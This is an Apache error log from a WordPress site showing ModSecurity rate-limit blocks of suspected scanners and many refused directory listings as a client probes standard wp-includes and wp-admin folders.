[Sat Nov 29 06:03:34.210730 2025] [:error] [pid 53817:tid 53836] [client 217.146.83.115:45620] [client 217.146.83.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/dist/"] [unique_id "aSocNhUtaHwNb4_nTTSw0wAAAA8"]
[Sat Nov 29 06:03:34.724837 2025] [:error] [pid 22280:tid 22295] [client 217.146.83.115:45978] [client 217.146.83.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/dist/"] [unique_id "aSocNpFKJ7cA_ndzTYs0LgAAAU0"]
[Sat Nov 29 06:03:35.238350 2025] [:error] [pid 22939:tid 22943] [client 217.146.83.115:46322] [client 217.146.83.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/dist/"] [unique_id "aSocN9Rbdh0p_UmbHuCIKgAAAYI"]
[Sat Nov 29 11:58:17.689478 2025] [autoindex:error] [pid 62619:tid 62628] [client 194.5.82.84:37715] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/css/dist/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 29 11:58:17.858790 2025] [autoindex:error] [pid 62619:tid 62631] [client 194.5.82.84:37715] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/dist/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 29 11:58:18.001157 2025] [autoindex:error] [pid 62619:tid 62639] [client 194.5.82.84:37715] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/assets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 29 11:58:18.191083 2025] [autoindex:error] [pid 62619:tid 62624] [client 194.5.82.84:37715] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/sitemaps/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 29 11:58:20.306643 2025] [autoindex:error] [pid 62619:tid 62642] [client 194.5.82.84:37715] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/l10n/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 29 11:58:20.601178 2025] [autoindex:error] [pid 62619:tid 62641] [client 194.5.82.84:37715] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/sodium_compat/lib/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 29 11:58:20.709861 2025] [autoindex:error] [pid 62619:tid 62636] [client 194.5.82.84:37715] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/blocks/file/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 29 11:58:22.162653 2025] [autoindex:error] [pid 62619:tid 62638] [client 194.5.82.84:37715] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/images/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 29 11:58:22.317356 2025] [autoindex:error] [pid 62619:tid 62645] [client 194.5.82.84:37715] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/block-bindings/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 29 11:58:22.640393 2025] [autoindex:error] [pid 62619:tid 62626] [client 194.5.82.84:37715] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/widgets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 29 11:58:24.900041 2025] [autoindex:error] [pid 62619:tid 62631] [client 194.5.82.84:37715] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/colors/sunrise/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 29 11:58:28.813457 2025] [autoindex:error] [pid 62619:tid 62632] [client 194.5.82.84:37715] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/blocks/query/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 29 11:58:29.110006 2025] [autoindex:error] [pid 62619:tid 62633] [client 194.5.82.84:37715] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/colors/ectoplasm/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 29 11:58:29.274751 2025] [autoindex:error] [pid 62619:tid 62636] [client 194.5.82.84:37715] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/blocks/group/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 29 11:58:32.704053 2025] [autoindex:error] [pid 62619:tid 62637] [client 194.5.82.84:37715] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/interactivity-api/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 29 11:58:34.530197 2025] [autoindex:error] [pid 62619:tid 62631] [client 194.5.82.84:37715] AH01276: Cannot serve directory /home/vetstars/public_html/wp-content/upgrade/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 29 11:58:38.303363 2025] [autoindex:error] [pid 62619:tid 62644] [client 194.5.82.84:37715] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/jquery/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 29 11:58:38.493926 2025] [autoindex:error] [pid 62619:tid 62642] [client 194.5.82.84:37715] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/Requests/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 29 11:58:38.613079 2025] [autoindex:error] [pid 62619:tid 62641] [client 194.5.82.84:37715] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/js/widgets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 29 11:58:49.011783 2025] [autoindex:error] [pid 62619:tid 62627] [client 194.5.82.84:37715] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/js/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 29 11:58:50.784765 2025] [autoindex:error] [pid 62619:tid 62638] [client 194.5.82.84:37715] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/colors/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 29 11:58:50.984479 2025] [autoindex:error] [pid 62619:tid 62634] [client 194.5.82.84:37715] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 29 11:58:51.483313 2025] [autoindex:error] [pid 62619:tid 62621] [client 194.5.82.84:37715] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/certificates/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 29 11:58:51.614263 2025] [autoindex:error] [pid 62619:tid 62637] [client 194.5.82.84:37715] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/images/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 29 11:58:51.803661 2025] [autoindex:error] [pid 62619:tid 62629] [client 194.5.82.84:37715] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/maint/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 29 11:59:41.888896 2025] [autoindex:error] [pid 62619:tid 62622] [client 194.5.82.84:37715] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/colors/light/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 29 11:59:42.083351 2025] [autoindex:error] [pid 62619:tid 62630] [client 194.5.82.84:37715] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/colors/midnight/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 29 11:59:42.192282 2025] [autoindex:error] [pid 62619:tid 62641] [client 194.5.82.84:37715] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/colors/modern/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 29 11:59:42.328567 2025] [autoindex:error] [pid 62619:tid 62643] [client 194.5.82.84:37715] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/colors/ocean/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 29 11:59:47.480322 2025] [autoindex:error] [pid 62619:tid 62630] [client 194.5.82.84:37715] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/ID3/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 29 11:59:49.217918 2025] [autoindex:error] [pid 62619:tid 62643] [client 194.5.82.84:37715] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/images/crystal/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 29 11:59:49.327175 2025] [autoindex:error] [pid 62619:tid 62623] [client 194.5.82.84:37715] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/images/media/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 29 11:59:49.479462 2025] [autoindex:error] [pid 62619:tid 62637] [client 194.5.82.84:37715] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/images/smilies/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 29 11:59:51.264982 2025] [autoindex:error] [pid 62619:tid 62621] [client 194.5.82.84:37715] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/codemirror/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 29 11:59:51.391671 2025] [autoindex:error] [pid 62619:tid 62631] [client 194.5.82.84:37715] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/plupload/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 29 11:59:51.511766 2025] [autoindex:error] [pid 62619:tid 62635] [client 194.5.82.84:37715] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/PHPMailer/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 29 11:59:51.702916 2025] [autoindex:error] [pid 62619:tid 62634] [client 194.5.82.84:37715] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/sitemaps/providers/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 29 12:00:29.999103 2025] [autoindex:error] [pid 16610:tid 16621] [client 194.5.82.60:34917] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/tinymce/plugins/fullscreen/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 29 12:00:48.109070 2025] [autoindex:error] [pid 16610:tid 16618] [client 194.5.82.60:34917] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/colors/blue/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 29 12:00:54.690000 2025] [autoindex:error] [pid 16610:tid 16616] [client 194.5.82.60:34917] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 29 12:00:54.972637 2025] [autoindex:error] [pid 16610:tid 16617] [client 194.5.82.60:34917] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 29 12:01:01.775874 2025] [autoindex:error] [pid 16610:tid 16627] [client 194.5.82.60:34917] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/IXR/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 29 12:01:01.954453 2025] [autoindex:error] [pid 16610:tid 16617] [client 194.5.82.60:34917] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/SimplePie/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 29 12:01:02.108647 2025] [autoindex:error] [pid 16610:tid 16628] [client 194.5.82.60:34917] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/Text/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 29 12:01:02.349264 2025] [autoindex:error] [pid 16610:tid 16635] [client 194.5.82.60:34917] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/Text/Diff/Renderer/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 29 12:01:02.593440 2025] [autoindex:error] [pid 16610:tid 16624] [client 194.5.82.60:34917] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/customize/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 29 12:01:02.767135 2025] [autoindex:error] [pid 16610:tid 16636] [client 194.5.82.60:34917] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/fonts/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 29 12:01:02.898482 2025] [autoindex:error] [pid 16610:tid 16629] [client 194.5.82.60:34917] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/pomo/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 29 12:01:03.014067 2025] [autoindex:error] [pid 16610:tid 16631] [client 194.5.82.60:34917] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/rest-api/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 29 12:01:32.764951 2025] [autoindex:error] [pid 16610:tid 16632] [client 194.5.82.60:34917] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/jcrop/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 29 15:00:48.602954 2025] [:error] [pid 20915:tid 20917] [client 207.154.216.0:64474] [client 207.154.216.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aSqaIFOOtKw1QZ3TPESzFAAAAMA"]
[Sat Nov 29 15:00:49.436696 2025] [:error] [pid 25341:tid 25356] [client 207.154.216.0:55760] [client 207.154.216.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aSqaIfWK8JdN03Mg7dz67QAAAcs"]
[Sat Nov 29 15:00:50.052452 2025] [:error] [pid 32136:tid 32143] [client 207.154.216.0:61316] [client 207.154.216.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aSqaIsSj_WSVQM1psKpYewAAAQU"]
[Sat Nov 29 15:00:50.592720 2025] [:error] [pid 20826:tid 20845] [client 207.154.216.0:54901] [client 207.154.216.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aSqaIvABfBqk70vKX9SDbgAAAA8"]
[Sat Nov 29 15:00:51.107377 2025] [:error] [pid 32136:tid 32141] [client 207.154.216.0:64193] [client 207.154.216.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aSqaI8Sj_WSVQM1psKpYswAAAQM"]
